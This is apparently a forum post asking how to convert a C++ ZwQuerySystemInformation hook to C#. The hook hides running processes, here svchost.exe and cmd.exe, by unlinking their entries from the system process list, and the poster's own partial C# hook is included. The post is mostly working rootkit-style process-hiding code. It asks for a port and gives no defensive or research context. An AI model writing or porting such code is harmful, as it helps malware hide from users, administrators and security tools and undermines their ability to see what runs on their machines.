I have a hook of ZwQuerySystemInformation trying to hide a process. All is fine...except making sense of the hooked SystemInformation values. How can I loop thru the process names?(C#)
C++ looks like this: (I'm lost)
NTSTATUS HookNtQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength)
{
PSYSTEM_PROCESS_INFO pCurr,pNext;
NTSTATUS ret;
if(InfoClass!=5)
{
return fnNtQuerySystemInformation(InfoClass,Buffer,Length ,ReturnLength);
}
ret=fnNtQuerySystemInformation(InfoClass,Buffer,Le ngth,ReturnLength);
if(NT_SUCCESS(ret))
{
pCurr=NULL;
pNext=Buffer;
while(pNext->NextEntryOffset!=0)
{
pCurr=pNext;
pNext=(PSYSTEM_PROCESS_INFO)((PUCHAR)pCurr+pCurr->NextEntryOffset);
if(!wcscmp(L"svchost.exe",pNext->ImageName.Buffer))
{
if(pNext->NextEntryOffset==0)
{
pCurr->NextEntryOffset=0;
}
else
{
pCurr->NextEntryOffset+=pNext->NextEntryOffset;
}
pNext=pCurr;
}
if(!wcscmp(L"cmd.exe",pNext->ImageName.Buffer))
{
if(pNext->NextEntryOffset==0)
{
pCurr->NextEntryOffset=0;
}
else
{
pCurr->NextEntryOffset+=pNext->NextEntryOffset;
}
pNext=pCurr;
}
}
}
return ret;
}
Can anyone convert the above to C#?
My Hook:
static IntPtr NTQuerryInfo_Hooked(SYSTEM_INFORMATION_CLASS SystemInformationClass,
System.IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength)
{
Main This = (Main)HookRuntimeInfo.Callback;
//I need to read the Structure here and remove the process name before returning.....
return ZwQuerySystemInformation(SystemInformationClass,
SystemInformation, SystemInformationLength, ref ReturnLength);
}







